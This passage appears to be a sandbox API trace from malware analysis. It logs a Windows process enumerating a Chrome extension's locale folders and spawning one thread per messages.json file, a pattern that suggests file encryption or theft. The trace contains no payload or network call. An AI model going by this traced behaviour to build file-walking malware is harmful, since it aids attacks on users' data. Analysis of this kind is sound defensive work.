returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" [0186.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x1338fa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0 [0186.881] FindNextFileW (in: hFindFile=0x942af0, lpFindFileData=0x99fde0 | out: lpFindFileData=0x99fde0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.881] FindClose (in: hFindFile=0x942af0 | out: hFindFile=0x942af0) returned 1 [0186.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99fde0) returned 1 [0186.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b41c8) returned 1 [0186.881] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d63f8) returned 1 Thread: id = 7822 os_tid = 0x7fc [0184.968] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ac300 [0184.968] wcscpy (in: _Dest=0x9ac300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv" [0184.968] wcscat (in: _Dest=0x9ac300, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\" [0184.968] wcscat (in: _Dest=0x9ac300, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*" [0184.968] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99fb78 [0184.969] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*", lpFindFileData=0x99fb78 | out: lpFindFileData=0x99fb78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9427f0 [0184.969] wcscmp (_String1=".", _String2=".") returned 0 [0184.969] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x99fb78 | out: lpFindFileData=0x99fb78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.969] wcscmp (_String1="..", _String2=".") returned 1 [0184.969] wcscmp (_String1="..", _String2="..") returned 0 [0184.969] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x99fb78 | out: lpFindFileData=0x99fb78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0184.969] wcscmp (_String1="messages.json", _String2=".") returned 1 [0184.969] wcscmp (_String1="messages.json", _String2="..") returned 1 [0184.969] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x13390df0 [0184.969] wcscpy (in: _Dest=0x13390df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv" [0184.969] wcscat (in: _Dest=0x13390df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\" [0184.969] wcscat (in: _Dest=0x13390df0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" [0186.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x13390df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0186.484] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x99fb78 | out: lpFindFileData=0x99fb78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.484] FindClose (in: hFindFile=0x9427f0 | out: hFindFile=0x9427f0) returned 1 [0186.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99fb78) returned 1 [0186.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac300) returned 1 [0186.487] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935ef0) returned 1 Thread: id = 7823 os_tid = 0x1804 [0184.970] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ac1d8 [0184.970] wcscpy (in: _Dest=0x9ac1d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl" [0184.970] wcscat (in: _Dest=0x9ac1d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\" [0184.970] wcscat (in: _Dest=0x9ac1d8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*" [0184.970] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99f910 [0184.970] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*", lpFindFileData=0x99f910 | out: lpFindFileData=0x99f910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942070 [0184.970] wcscmp (_String1=".", _String2=".") returned 0 [0184.970] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x99f910 | out: lpFindFileData=0x99f910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.970] wcscmp (_String1="..", _String2=".") returned 1 [0184.970] wcscmp (_String1="..", _String2="..") returned 0 [0184.970] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x99f910 | out: lpFindFileData=0x99f910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0184.970] wcscmp (_String1="messages.json", _String2=".") returned 1 [0184.971] wcscmp (_String1="messages.json", _String2="..") returned 1 [0184.971] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x1338f938 [0184.971] wcscpy (in: _Dest=0x1338f938, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl" [0184.971] wcscat (in: _Dest=0x1338f938, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\" [0184.971] wcscat (in: _Dest=0x1338f938, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" [0186.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x1338f938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0186.495] FindNextFileW (in: hFindFile=0x942070, lpFindFileData=0x99f910 | out: lpFindFileData=0x99f910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.495] FindClose (in: hFindFile=0x942070 | out: hFindFile=0x942070) returned 1 [0186.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99f910) returned 1 [0186.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac1d8) returned 1 [0186.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936018) returned 1 Thread: id = 7824 os_tid = 0x1808 [0184.971] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9ac0b0 [0184.971] wcscpy (in: _Dest=0x9ac0b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no" [0184.971] wcscat (in: _Dest=0x9ac0b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\" [0184.971] wcscat (in: _Dest=0x9ac0b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*" [0184.971] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x99f6a8 [0184.971] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0184.972] wcscmp (_String1=".", _String2=".") returned 0 [0184.972] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.972] wcscmp (_String1="..", _String2=".") returned 1 [0184.972] wcscmp (_String1="..", _String2="..") returned 0 [0184.972] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0184.972] wcscmp (_String1="messages.json", _String2=".") returned 1 [0184.972] wcscmp (_String1="messages.json", _String2="..") returned 1 [0184.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x13390cb8 [0184.972] wcscpy (in: _Dest=0x13390cb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no" [0184.972] wcscat (in: _Dest=0x13390cb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\" [0184.972] wcscat (in: _Dest=0x13390cb8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" [0186.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x13390cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c [0186.498] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x99f6a8 | out: lpFindFileData=0x99f6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0186.498] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0186.498] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99f6a8) returned 1 [0186.498] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac0b0) returned 1 [0186.498] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936140) returned 1 Thread: id = 7825 os_tid = 0x180c [0184.972] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0x9abf88 [0184.972] wcscpy (in: _Dest=0x9abf88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl" [0184.972] wcscat (in: _Dest=0x9abf88, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\" [0184.973] wcscat (in: _Dest=0x9abf88, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*" [0184.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9a1ac0 [0184.973] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", lpFindFileData=0x9a1ac0 | out: lpFindFileData=0x9a1ac0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942370 [0184.973] wcscmp (_String1=".", _String2=".") returned 0 [0184.973] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x9a1ac0 | out: lpFindFileData=0x9a1ac0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.973] wcscmp (_String1="..", _String2=".") returned 1 [0184.973] wcscmp (_String1="..", _String2="..") returned 0 [0184.973] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x9a1ac0 | out: lpFindFileData=0x9a1ac0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0184.973] wcscmp (_String1="messages.json", _String2=".") returned 1 [0184.973] wcscmp (_String1="messages.json", _String2="..") returned 1 [0184.973] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x1338f800 [0184.973] wcscpy (in: _Dest=0x1338f800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl" [0184.973] wcscat (in: _Dest=0x1338f800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\" [0184.973] wcscat (in: _Dest=0x1338f800, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 